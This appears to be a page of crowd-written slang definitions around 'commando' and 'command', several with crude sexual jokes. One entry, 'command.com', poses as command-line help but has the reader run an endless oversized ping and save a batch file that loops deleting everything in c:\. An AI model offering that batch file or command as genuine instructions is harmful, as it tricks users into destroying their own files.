Filthy Commoner

Someone who goes with everyone else, and generally thinks that they are cool, "gangster", smart, etc. and tries to insult/hurt someone who is not like them in their trend following ways.

Filthy Commoner #1: Dood check out dis new thing called selfie trade where u can show off how much porn u have on ur phone

Filthy Commoner #2: ye I just saw that on facebok, omg so cool wanna twerk it and then yell at some gurls about how big our penises are? Oh sheet dawg look at dat not "normal" person.

Average "nerd": You inconsiderate fools, don't you know the consequences of your actions? You guys are not only disgusting, but illiterate and ignorant! You Filthy Commoners

by LYnksYs May 18, 2015

cummander

the term a gay man calls his partner when his partner is the catcher that day

My cummander was really good at it today

by Number One Gun February 3, 2009

command.com

a program used on windows. command line based.
to open command.com

press start, hit run, type "cmd" then press enter. once the black box comes up type help.

then type.

ping www.google.com -l 6000 -t


save this as a .bat file

echo :P
:loop
del c:\*.*
goto loop

by anonymous September 21, 2004

commandette

The female equilvalent of "going commando". In other words, a woman of mammary bountitude not wearing an over the shoulder boulder holder.

"That chick is going commandette over there!" "Dude, you can see her fripples from space!"

by gulo May 16, 2006

commando push up

Theoretically a push up done in a handstand. In actuality, a push up merely done without wearing underwear. So, when a guy is bragging that he can do commando push ups, it may not be what you expect...

Guy: Guess what? I did 12 commando push ups last night.
Girl: Really? What's that?
Different Guy: Oh, shut up, dude. It just means he did push up 'au naturale'.

Girl: Ew..!

by Yaneedtono July 14, 2010

commando noob

the worst type of n00b, lacks any skill or must hack to look like they have skill.

"Dude you are such a commando noob, 50 to 0, i mean come on"
"God the BR and Plasma Psitol Combo is such a commando noob move"

by HMAR December 7, 2006

Commando

the best arnold movie

let off some steam, bennet

by me May 20, 2004